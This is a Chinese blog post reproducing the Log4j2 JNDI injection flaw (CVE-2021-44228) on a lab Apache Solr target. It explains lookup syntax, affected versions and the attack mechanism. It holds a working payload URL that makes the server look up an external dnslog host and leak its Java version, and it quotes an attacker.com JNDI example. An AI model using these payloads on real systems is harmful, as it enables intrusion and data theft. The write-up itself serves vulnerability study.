Log4j2-CVE-2021-44228漏洞复现

前置知识:

JNDI注入

  JNDI 简介:Java 命名和目录接口(Java Naming and Directory Interface,JNDI)是 Java 平台的一个重要特性,用于在 Java 应用程序中查找和访问各种资源,如数据库连接、EJB(Enterprise JavaBeans)等。它提供了一种统一的方式来定位和获取这些资源,使得应用程序可以更灵活地配置和使用资源。。下图是官方对JNDI介绍的架构图:

  如上图所示,JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。

  而Log4j2 支持使用 JNDI 的lookup功能来解析和加载外部资源,lookup是一个查找方法,在日志格式中可以使用${jndi:ldap://example.com/}这样的表达式,Log4j2会尝试通过JNDI去指定的LDAP服务器获取资源。下面是一个简单的Java Lookup例子:

 1 import org.apache.logging.log4j.LogManager;
 2 import org.apache.logging.log4j.Logger;
 3 import org.apache.logging.log4j.ThreadContext;
 4 
 5 public class Log4j2Lookup {
 6     public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
 7 
 8     public static void main(String[] args) {
 9         ThreadContext.put("userId", "test");
10         LOGGER.error("userId: ${ctx:userId}");
11     }
12 }

 输出内容: userId: test 

  从上面的例子可以看到,通过在日志字符串中加入"${ctx:userId}",Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似"${type:var}",即可以实现对变量var的引用。type可以是如下值:

  ctx:允许程序将数据存储在 Log4j ThreadContext Map 中,然后在日志输出过程中,查找其中的值。

  env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}。

  java:允许查找Java环境配置信息。例如:${java:version}。

  jndi:允许通过 JNDI 检索变量。 ......

其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容

  上述代码的执行结果也正是因为log4j2在获取到${}这样的格式的时候会自动的去调用lookup()方法。而这个方法的可怕之处就在于,它可以远程加载对象,比如攻击者传一个像: lookup("rmi://127.0.0.1/a")或者lookup("ldap://127.0.0.1/a") 这样的参数进去,它就可以远程访问到攻击者本地的类,那如果这些类里面有恶意代码的话,造成的危害显然是非常严重的。

漏洞描述:

  Log4j2 是 Log4j 的升级版本,它重构了 Log4j 框架,其优异的性能被广泛的应用于各种常见的 Web 服务中。而Log4j2 在2.0-2.14.1版本中由于启用了 lookup 功能,它是用来日志消息中替换变量的函数,通过配置文件中的${}调用的,它在日志解析时候会自动解析${jndi:}语法,攻击者利用这个机制加载远程的恶意类,最终实现远程命令执行,从而造成JNDI注入漏洞。

  触发点可以是:请求头、参数、User-Agent、X-Forwarded-For 等被记录的字段,是一次 日志功能→命令执行 的链式漏洞。

影响版本:

  • Apache Log4j 2.0-2.14.1
  • Apache Log4j 1.2和Log4j 1.2.x系列不受影响

漏洞复现:

  Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。通过docker启动靶场,然后访问靶场,页面如下图:

 靶机是一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1。对目标网站进行测试验证,首先准备dnslog,访问https://dig.pm/,打开网站如下所示:

 

 点击蓝色按钮,生成一个用于接收返回参数的网址:45243541e7.ipv6.1433.eu.org,然后进行如下拼接访问。

payload: http://74.48.194.203:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.45243541e7.ipv6.1433.eu.org} 

访问页面之后显示如下图:

 然后返回dnslog平台收到相关日志(耐心等一会),显示出当前Java版本。如下图:

 至此,完成Log4j2远程代码漏洞验证。

 漏洞原理:

  动态日志解析:Log4j2 支持通过 ${} 语法动态解析日志内容中的变量。

  JNDI 注入:攻击者构造包含 ${jndi:ldap://attacker.com/exp} 的日志消息,触发服务端向恶意 LDAP/RMI 服务器请求并加载远程类。整个JNDI注入的流程图如下:

 

简单总结:攻击者可以构造恶意的 JNDI 资源,当 Log4j2尝试通过 JNDI 去获取这个资源时,执行其中的恶意代码。

 

posted @ 2025-05-24 21:27  ZyonSec  阅读(383)  评论(0)    收藏  举报